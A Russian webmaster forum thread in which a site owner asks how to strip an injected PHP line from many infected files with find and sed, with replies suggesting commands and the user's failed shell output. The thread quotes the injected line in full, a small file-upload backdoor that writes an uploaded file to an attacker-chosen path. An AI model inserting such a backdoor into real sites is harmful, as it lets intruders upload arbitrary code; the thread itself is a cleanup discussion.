- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Как снизить ДРР до 4,38% и повысить продажи с помощью VK Рекламы
Для интернет-магазина инженерных систем
Мария Лосева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Подскажите пожалуйста как при помощи SSH команды Find и sed найти и удалить вредоносную строку с Php файлов на сайтах
Вот сама строчка
1)
<?php
if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}
Точнее как правильно ее написать в команде find
Вот так попробуйте find ./ -type f -name "*.php" -exec sed -i s/OLDTEXT/NEWTEXT/g {} \;
OLDTEXT=<?php
if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}
NEWTEXT=пробел
Неа не помогает не ищет он если строчку так ввести
if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}
Ее не надо разве комментировать?
---------- Добавлено 14.11.2014 в 22:23 ----------
Если ввожу move_uploaded_file($_FILES то ищет но мне надо всю строчку удалить так как файлов инфицированных очень много. Подозреваю что надо правильно закомментировать только как
echo preg_quote("if (\$_FILES['F1l3']) {move_uploaded_file(\$_FILES['F1l3']['tmp_name'], \$_POST['Name']); Exit;}", '/');
Экранированную строку скопировать в команду ssh.
Спасибо не буду пытаться далек я от этого не разобрался как и куда вставлять вставляю в find -exec grep -1 не получается синтаксическая ошибка, мне надо просто эту строчку удалить со всех файлов на примере если можно какая команда
Уже 4 сутки бьюсь над этими редиректами в .htaacess и этими строчками (
find . -type f -name "*.php" -exec sed -i s/if \(\$_FILES\['F1\l3'\]\) \{move_uploaded_file\(\$_FILES\['F1l3'\]\['tmp_name'\], \$_POST\['Name'\]\); Exit;\}//g {} \;
Вот что выдает
find: missing argument to `-exec'
find_shell.sh: 1: Exit: not found
find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ : Exit: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found: not found
-bash: find_shell.sh:: command not found
find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ : Exit: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
-bash: find_shell.sh:: command not found
coron144@nhs:~/www$ coron144@nhs:~/www$ : Exit: not found
-bash: coron144@nhs:~/www$: No such file or directory
coron144@nhs:~/www$ coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
Всем спасибо буду изучать экранирование) А так по кускам код по удалял